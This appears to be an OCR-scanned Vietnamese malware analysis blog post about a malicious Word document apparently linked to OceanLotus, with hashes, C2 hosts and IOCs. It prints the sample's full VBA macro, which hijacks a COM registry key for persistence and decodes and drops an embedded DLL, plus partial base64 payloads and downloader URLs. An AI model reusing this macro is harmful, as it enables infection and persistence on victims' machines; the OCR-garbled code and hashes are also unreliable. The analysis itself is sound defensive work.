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V6 tinh nhat dwgc cai sample:
https://www.virustotal.com/qgui/file/9f59c397d1346f2707fc7b54fe6¢cb4622770accfO4eb439451

4d2bf167d65007/detection

€3 27 engines detected this file

9f59c397d1346f2707fc7b54febchb4622770accf94ebq4394514d2bf167d65007 916 KB 2019-05-31 16:57:47 UTC
Danh sach thuong tet doc Size 14 minutes ago
create-file create-ole doc enum-windows enviran exe-pattern macros obfuscated open-file registry runile write-file
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https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7
https://kienbigmummy.medium.com/?source=post_page-----fbcbbed49da7--------------------------------
https://kienbigmummy.medium.com/?source=post_page-----fbcbbed49da7--------------------------------
https://medium.com/m/signin?actionUrl=https%3A%2F%2Fmedium.com%2F_%2Fsubscribe%2Fuser%2F3d670b41fa5f&operation=register&redirect=https%3A%2F%2Ftradahacking.vn%2Fth%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7&user=m4n0w4r&userId=3d670b41fa5f&source=post_page-3d670b41fa5f----fbcbbed49da7---------------------follow_byline-----------
https://www.virustotal.com/gui/file/9f59c397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007/detection

KT thuat st dung trong tai liéu nay cé vé lién quan dén OceanlLotus (aka APT-32):
https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/

Théng tin metadata ctia sample:

Codepage: 1252

Title:

Subject:

Ruthor: DEV

Keywords:

Comments:

Template: Normal.dotm
Laat author: blackcat
Bevision: 4

0 =1 & LA = Lo R &

15

10 Application name: Microsoft Office Word
11 Editing time: 00:23:00 01.01
12 Creaticn time: Fri Jan 18 09:28:00 2019

13 Last save time: Tue Jan 29 22:07:00 2019

14 Page count: 7

15 Word count: 125343
16 Char count: 714455
17 Security type: 0

Dao vong vong trong sample dé thu thap thém théng tin: &

OEfset 01 2 3 4 5 6 7

00000820 20 49 4E 43 4C 55 44 45
00000830 20 22 63 74 74 70 73 3A
0ooons40 65 62 68 &6F 70 2E 69 6E
000005830 70 6E 67 22 20 20 5C 2A
0o0o0ge0 52 4D 41 54 20 14 01 L5
00000870 71 51 41 41 40 41 41 41
oooooDasn 38 41 41 4C 67 41 41 41
oooooesn 41 41 41 41 41 41 41 41
Oo0ODBAD 41 41 41 41 41 41 41 41
ODDODOBED 41 41 41 41 41 41 41 41
oooooaco 45 41 41 41 34 66 75 67
ooooosDn - &7 42 54 4D 30 68 56 47
00000BED 39 6E 63 6D 46 74 49 47
00000SFO 42 69 S5k 53 42 79 64 57
00000300 39 54 43 47 31 76 SA 47
000003510 4l 41 41 41 41 41 41 41
00000920 63 55 68 57 37 48 46 49
00000530 76 6C 63 57 66 45 46 49
ooooo24n0 &3 55 68 &4 70 62 35 6F
0ooooD2s0 6B 58 68 48 T7A 48 46 49
0oo0o0®60 &3 55 68 56 37 S5A 45 49
oooooaTn  ZB 48 68 57 33 48 46 49
oooonSEn &3 55 68 66 79 SR 48 59
QooooDaa0  &E 72 68 57 2F 48 46 49
00000340 &3 55 68 &6 79 SA 46 6F
000003B0  &C 6A 61 47 37 43 46 49
000003Co 4l 41 41 41 41 41 41 41
00000spo - 41 41 41 41 41 41 41 41
0O0000SED 45 47 41 43 26 4E 51 56
00000SF0 41 41 41 4F 41 41 41 69
00000ADD 49 41 41 41 44 49 41 77
OODODALD 4D 41 41 41 41 51 41 41
OO00DAZD 41 41 45 41 41 51 41 41
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Ascii

. INCLUDEFICTURE.
"htcps: /Svord. w
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Baseb4string
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https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/

“REMY
WGETRC

/open. png

ing wor shop.info... 109 ) i )
ting to .webhop. info|109. :443 ... failed: Connection refus

Toan bd VBA code cliia sample:
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' module: ThisDocument

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Dim sAppData As String
sAppData = Environ("APPDATA")
sAppData = sAppData & "\main_background.png"
Dim sAppDataNew As String
sAppDataNew = Chr(34) & sAppData & Chr(34)

Dim myWS As Object, strPath

Set myWS = CreateObject("WScript.Shell")

Set fsoCheck = VBA.CreateObject("Scripting.FileSystemObject")
Dim iCheck As Boolean

iCheck = False

#If Win64 Then

#Else
If (fsoCheck.FileExists("C:\Windows\SyswOw64\cmd.exe") = True) Then

iCheck = True Else iCheck = False End If

#End If

If iCheck = True Then Dim wsh As Object Set wsh =

VBA.CreateObject("WScript.Shell") Dim waitOnReturn As Boolean: waitOnReturn =
True Dim windowStyle As Integer: windowStyle = 0 Else If
RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\") = False Then
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\", "", "REG_Sz" Else
End If If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F -
54C1-4227-AF9B-260AB5FC3543}\InprocServer32\") = False Then If
RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-
260AB5FC3543}\") = False Then myWS.RegWrite
"HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\",
""" "REG_SZ" Else End If Else End If

End If Dim b As String Dim a As String Dim tableNew As Table Set tableNew
= ActiveDocument.Tables(1)End Sub

Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object
On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function

ErrorHandler: 'key was not found RegKeyExists = FalseEnd Function
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Function Base64Decode(ByvVal vCode, ByVal sPath)
Dim oXML, oNode
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.Text = vCode

Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1

objStream.Open

objStream.Write oNode.nodeTypedValue
objStream.SaveToFile sPath, 2

Set objStream = Nothing Set oNode = Nothing Set oXML = NothingEnd
Function

Co ban VBA code nay lam nhiém vu:

« CAu thanh dworng dan cho tap tin
 Kiém tra méi trwdng hién hanh la hay. Néu la 64-bit thi sé& thuc thi 1énh:

wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-
54C1-4227-AF9B-260AB5FC3543}\InprocServer32 /ve /t REG_SZ /d " & sAppDataNew & " /f
/reg:64", windowStyle, waitOnReturn

nguoc lai, thue thi l1an lwot:

myWS .RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-
260AB5FC3543}\", "", "REG_SZ"va myWS.RegWrite
"HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-
260AB5FC3543}\InprocServer32\", sAppDataNew, "REG_SZ"

Dwa vao tir khoa InprocServer32, ta cé thé biét dwoc file
%APPDATA%\main_background.png sé la moét tap tin dll

Sau khi thiét Iap thanh céng Registry, tién hanh decode base64data va ghi ra file Dwa
vao bién dé drop ra dll x64 hay dll x32:

Set tableNew = ActiveDocument.Tables(1) If (iCheck = True) Then a =
tableNew.Cell(1, 1).Range.Text //ldy base64data tai hang 1 cot 1 (32bit-dll) a
= Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) Else a =
tableNew.Cell(1, 2).Range.Text //1l4y base64data tai hang 1 cot 2 (64-bit dll)

a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) End If
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Can c vao théng tin cé dwoc tién hanh decode dé 14y cac binary. Cé thé debug hodc Ia
dung Cyberchef:

32-bit dll:

TVqQﬁAMAAAAEAAAA//SAALgAAAAAAAAAQAAAAAAAAAAA&AAAAAAAAAAAAﬁAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTMBhVthcwachncmFtIG-1
Nhbm5vdCBiZSBydiWdgaWdgRESTIGLvZGUUDQBKJAAARAARAAAGpN ritbs cCURWZHF IVUxxSF21vIhWFHFIXaki+e FG8cUhdpb5SoV2xxSFVZkXhHzHF IVWmRGEdMcU
hVWZEIR+xxSFZ7+HhW3IHF IVuxshFNccUhFy ZHY RV SF/ Inrhld/HF IVux40FbBcUhfyZ FoRvxxSFUm] § aG7HF TUAAAAAAALAAAAAAALALAAALANAAALASABORD
AATAEGAC+NOQVWAAAALALAAADALATEL AQAAAKTAAADT AWAALAAAWhMAAAAQAAA WAL AAAALE AAQALAAAS ALBOABAAAAALAF AAEALAAAAACWEBALABAAAAARALATA
QAEAABAAABAAAAALEAALEALAAALAAABAAAANLA AAAASAAAKOOAQAD AAALATAEAEGCALAAALANLLAAANAAAAAAAAANARKCAEAL QNAADACQEADAALLALAAALAAALAAN
| AAAAAAAAALAAARALAAAP E JAQBAAAAAAAAAAAAALAAAWAAAHAE ARAAAAAAARAALAAAAAAAAALAAALAAAAANAC BT XhBAAAACBEALAAQAAAADEAAAADARAAALALA

start: 28743@ time: 166ms
end: 287423  length: 237744 Ir &) H
Olltpl.l‘t length: -1 lines: £51 a D k’ e
MZoiuiionnn. (1) Bev v et e o, ! .LI!'This program cannot be run in DOS mode.

LGB CPYL AL BT ... DAL

64-bit dll:
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TVqQﬁAMAAﬂAEﬂAAA//SﬂALgAAAAAAAAAQAAAAAAﬂﬁﬁﬂﬂﬁﬂﬂﬁAﬂAAﬂAﬂﬂAﬂAﬂAAﬂAﬂﬂAﬂAﬁAAQAAAAAAAEAEA#&4FugdAtAnNIbgBTMBhVthcyEwcmQncmFtIG-1
NhbmsvdCBiZSBydWAgalWdgRESTIGIvIGUUDQBK ] AAAAAARAAAFTZUIZxZ 7ZGCC+2RNHPthB4AKZ GMC+2TTgAhkEhZ 7ZNOACWRGHP LKXELAZWBCc+2RcQv51thz7
ZFxC/ 2W3HPtkbmRoZGQc+2RNHPpkORz7ZPVCBmMYMHP tkSUIEZGY c+2RNHGxKZhz 7TZPVCHIVMHPtkUml jaGcc+2QAAARARAARARARAALAAAAALALAAALAAAALBQRQ
AAT TYHADKNQVIWAAARALAAAAPAATIAL AgAAATAAAACOBAARAAMACBOAAAAQAAAAAAC AAQAAALAQALALAAE AABQACAALAAALFAATAAAARAACOBOAABAALALALAATA
YAEAABAAAAAALAAQAALALAAAAAAQAARLALALE AAMALARALAALAAQAAAAAAAAAAALAABO LWEAKAAAAABWBOE TAZAANFAF AKEMAAAAAAAAAAAAAACABQAMBEARKT
EBADEAAAALALAAALAALALAAALALALALALALAAALADOTQEALAALALARALAALALALL AAAEECAALALALRALALALALALARALAALAAALALASALLDGYAdAARAPCDARAL

C AR AR AARRACAAARRARRAARAANAANRA = A ANl LA AR A e ANAL ARAACTARR A~ AARAARAARAAARAARAAAAAAAACLAMAOLALRA ATCAANAAALLD - MAAC DAL

start: 341938 time: 206ms

Qutput end: 321929  length: 342816 a |_|:| o -

length: -1 lines: 988

MI..oeieinnn PPeecaaennn B e e ettt e e e..” 1! .LI!This program cannot be run in DOS mode.

$uvrenns #1.7g.0dg.0dg. 0dd.

dc.odd. .d. .odo.

dj.0d\Bgeo. id\Bbe~. id\Byew. idndhdd . idg. (d9 . GdEBdef . 1dEB. df.0dg. 1df. 0dBBlUet. DARIChE. Od. . o e eee e e e PE..d...2.A\.
....... 3."

B @..0.data. . .E....@...B. . e @..Bipdata.. .. P @..@-gfids....... T *,
............. @..@.rsrc. . He oo iDe i@ @erBlOC. e B B B

.8..(D$ @...A, &..H.Ey.0...A% 2..HCDS ....H.DL...8..H.EH.p¥..... H.ytIHCDS (. .. . E3EL.CCOS

Téi thay attacker cé vé hoi nham trong qua trinh decode va ghi ra file. Néu la OS 64-bit
thi lai drop ra 32-bit dil. Con ngweorc lai, véi OS 32-bit lai drop ra 64-bit dl

Kiém tra so bd cac dll

V&i 32-bit dll:

LA UUUIJUUIOSE L LI | sy L ZE-L

u
4 00000003ESDC  00001004070C O 2u-za
Q000 O04084C O Mozila/4.0 [compatible; MSIE 7.0; Windows NT Zd; WOWE4: Trident/7.0; MET4.0E; MET4.0C; InfoPath.3; .WET CLR 3.5

L]
L

v Advanced view Time taken : 0389 secs Text size: 236

File poz | tem pos | 1D | Teut
4 0oooooooEZDE  QOOOIOOOFCDE O zh-cht
U 00000000EZES OQOOCAOOOFCEE O zhrocn
L 00000000E2F4 Q0001 00FCF4 i zh-hk
4 00000000E300  QOOCI000FDO0 O zh-mo

i

i

i

1]

LI 00000000E30C 00001 Q0aFDOC zh-2g
i 00000000E318 00001 Q00FC1 4 zh-tw
i 00000000E 324 00001 Q00FDC 24
LI 00000000E 283 00001 000FD &3
000000011530 00007 001 3730 I

ZU-2a

COMNOUTSE

i 000000032704 O00C1O034904 O kemel32 di
4 000000034857 OOOCMOO3E857 O Badvanil2
000000011530 000010013730 0@  XA:\Code\Macro_NB2\Request\PostData32.exe -u

hxxps://syn[.]servebbs[.]com/id32[.]png -t 300000

V&i 64-bit dll:

File pos | tem poz |ID |Teﬂ

U 000000043121 000000C4304E O pr-china
4000000043139 0000000430CE O plerta-ico

U 000000043151 000Q0OC430DE O slovak

U 000000043167 0OOOOOO430EE O zouth afiica

Ui 000000043187 00000004310 a south korea

4f 000000043199 00000004 3126 a south-afiica

U 000000043189 00000004 3146 i south-korea

U 000000043101 00000004 315E a trinidad & tobago
U 0000000431F9 000000043186 a united-kingdam
4000000043219 000000043146 O urited-states

U 000000046FBS  000000046F 46 a COMOUT$

141 0000000430C9 0 rozillas4.0 [compatible; MSIE 7.0; Windows M WOWEL: Trident/7.0; MET4.0E; MET4.0C; InfoPath.3; .MET CLR 3.5.3 MET CLR 2.0.507
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File pos | Mem pos | 1D | Text

i 000000DOFSR8  OO000OOOFE1S 0 zhetw
U 0000000OFS38  O00OOOOOFE25 0 2uza
{4 0000000OFEQD  O0000OOOFAED @ CONDUTS
]
i 000000028709 000000038695 O kemel32.d
000000014243 0000000141D0O 0 YA:\Code\Macro_NB2\Request\PostData64.exe -u

hxxps://syn[.]servebbs[.]com/id64.png -t 300000

Thr load file vé nhwng C2 d3 deo:

. 194.9.177.13
om)|194.9.177.13|:443... failed: Connection timed out.

. failed: Connection timed out.

. failed: Connection timed out.

I0Cs:
Doc sample: 9f59¢397d1346f2707fc7b54fe6cb4622770accfO4eb4394514d2bf167d65007
Dropped file (based on architecture):

e 32-bit dll: ee1e3956df9f69ae3c87a53075881f65
e 64-bit dll: c74a24dea88999797aaceeecd63efaff

Some C2:

e hxxps://word[.]Jwebhop].]info ( 109[.]248[.]149[.]96)
o hxxps://syn[.]servebbs[.Jcom ( 194[.19[.]177[.]13)
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End.
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